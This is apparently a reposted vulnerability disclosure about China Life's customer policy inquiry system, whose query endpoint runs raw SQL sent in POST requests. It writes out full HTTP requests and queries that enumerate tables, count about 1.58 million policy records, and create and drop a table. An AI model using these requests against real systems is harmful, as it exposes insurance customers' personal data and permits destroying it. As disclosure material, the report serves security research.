A System Defect in China Life can cause leakage of user records in the system

Source: Internet
Author: User

A System Defect in China Life can cause leakage of user records in the system

Design defects

China Life Insurance customer policy Inquiry System
 


**. **: 8443/cusQuery/indexlis. jsp
 



Baidu to a page **. **: 8443/cusQuery/customerlogon/CustomerActivateInput1.jsp
 



Query captured packets and you will get a post
 

POST **.**.**.**:8443/cusQuery/common/easyQueryVer3/EasyQueryXML.jsp HTTP/1.1Accept: */*Accept-Language: zh-cnReferer: **.**.**.**:8443/cusQuery/customerlogon/CustomerActivateInput1.jspContent-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: **.**.**.**:8443Content-Length: 31Connection: Keep-AliveCache-Control: no-cacheCookie: JSESSIONID=559940556C121AB229B8E58D26AA24AAselect sysdate from dual &1&0&0


See SQL

So we can construct it ourselves.

select TABLE_NAME,NUM_ROWS from tabs &1&0&0

POST **.**.**.**:8443/cusQuery/common/easyQueryVer3/EasyQueryXML.jsp HTTP/1.1Accept: */*Accept-Language: zh-cnReferer: **.**.**.**:8443/cusQuery/customerlogon/CustomerActivateInput1.jspContent-Type: application/x-www-form-urlencodedUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: **.**.**.**:8443Content-Length: 35Connection: Keep-AliveCache-Control: no-cacheCookie: JSESSIONID=559940556C121AB229B8E58D26AA24AAselect count(*) from lccont  &1&0&0



The lccont table contains 1579524 data records.
 



View the first 100
 



In fact, you can add, delete, and modify tables not only for queries.

Create a table named wooyun
 



Check whether the wooyun table exists.
 



Delete A wooyun table

Drop table wooyun
 



If the table cannot be found, the new table will not be added. If the whole database is maliciously deleted, it will be a tragedy.

Solution:

Patch.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.